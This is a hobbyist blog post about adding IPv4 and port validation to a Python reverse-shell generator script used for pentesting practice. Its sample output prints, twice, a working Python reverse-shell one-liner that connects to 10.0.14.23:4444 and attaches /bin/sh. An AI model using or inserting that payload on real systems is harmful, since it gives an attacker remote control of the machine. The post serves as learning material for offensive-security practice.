As you may know, I've been working on a script that has a working title of EZShellz, or something to that effect. It's not totally official, but it seems to be sticking at this point, so that may become its permanent name.

Anyway, I've been working on it a bit on and off between HTB and work and reading cool books (I finished up the Web Security for Developers book, which I may write about later). Just recently started one on Vulnerability Management.

Anyway, the Web Security for Developers book got me thinking about input validation and error handling. Especially since I am going to eventually turn this into a webapp (Just so I can learn a bit of that, too.)

Let's check out the chunks of code, shall we?

Validating the IP Address

I knew that if I wanted to turn this into a webapp that will allow user input, I want to be sure that it will check that the input is a valid IP address. In this case, I am using IPv4, because ... well, because that's what I went with right now. If ya want IPv6 support, throw in a PR, bruh.

So here's what the code looks like. It starts at line 35:

IPv4Addy = [attackerIP]

for addy in IPv4Addy:

    try:
        addr4 = ipaddress.ip_address(attackerIP)
        if addr4.version == 4:
            continue
    except ValueError:
        print("That's not an IPv4 Address, you wanker!")
        exit()

Disclaimer: I am by no means a Python expert, and I don't know that this is the most efficient way to do something like this. It just seemed like the way to go.

The script creates a very simple list object. This is because I wasn't sure how to have a try/except clause without creating a for loop. There may be a better way to do this, but I'm not quite there yet if it exists.

Now, it iterates through that list, which is just one item, the IP Address that the user typed in. Then it uses the ipaddress library to validate it as IPv4. If it's a valid IPv4 address, the script is allowed to continue. If it's not, the script will run into a ValueError, and tell you that you aren't using a valid IPv4 address.

I went this route because regex would have:

  • Been a colossal pain in the butt.
  • My crappy understanding of regex would have still allowed junk IPs like 300.555.222.12, because it would only be checking for four groups of up to three numbers. I didn't want that.

Validating the Port

The port was next. That starts at line 49:

# validate port
if 0 <= int(port) <= 65535:
    print()
else:
    print("Use a valid port number, you Wally!")
    exit()

This check is much simpler. It just validates that the number entered is in an acceptable port range (while temporarily converting the entry to an integer for the purpose of the validation. If it's not a valid port number, it tells you that you screwed up.

There are 65,536 valid ports. Those are 0 - 65,535. I'm not sure why anyone would want to use port zero, or how well it would even work in a real environment, but it's there.

Let's Take a Look at the Script and its Output

This is what it looks like if you run it with ideal values:

$ python3 ezshell.py -i 10.0.14.23 -p 4444 -l python

[+] Python Reverse shell:
 python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.14.23",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

The actual one-liner you see in the output is added to your clipboard, like below – the direct output from my clipboard after running the script:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.14.23",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

Now with bad input in the IP Address Field

$ python3 ezshell.py -i carrots -p 4444 -l python
That's not an IPv4 Address, you wanker!

$ python3 ezshell.py -i 310.0.14.23 -p 4444 -l python
That's not an IPv4 Address, you wanker!

And in the Port Field

$ python3 ezshell.py -i 10.0.14.23 -p 23423423 -l python
Use a valid port number, you Wally!

Next steps

I need to add some error handling for non-integer values:

python3 ezshell.py -i 10.0.14.23 -p tacos -l python
Traceback (most recent call last):
  File "ezshell.py", line 50, in <module>
    if 0 <= int(port) <= 65535:
ValueError: invalid literal for int() with base 10: 'tacos'

If I'm not mistaken, this may require another for loop, or something similar, because of the whole try/except thing requiring a loop. Though I may be wrong. I'll have to work on it some more and find out.

Addendum

I fixed the port validation portion to also check for strings:

# Validate port.
userPort = [port]

for aPort in userPort:
    try:
        if 0 <= int(port) <= 65535:
            print()
        else:
            print("Use a valid port number, you Wally!")
            exit()
    except ValueError:
        print("You tosser, that's not a valid port. That's not even a bleedin' number!")
        exit()

This is how it works:

$ python3 ezshell.py -i 10.12.3.1 -p cheese -l python
You tosser, that's not a valid port. That's not even a bleedin' number!

Awesome!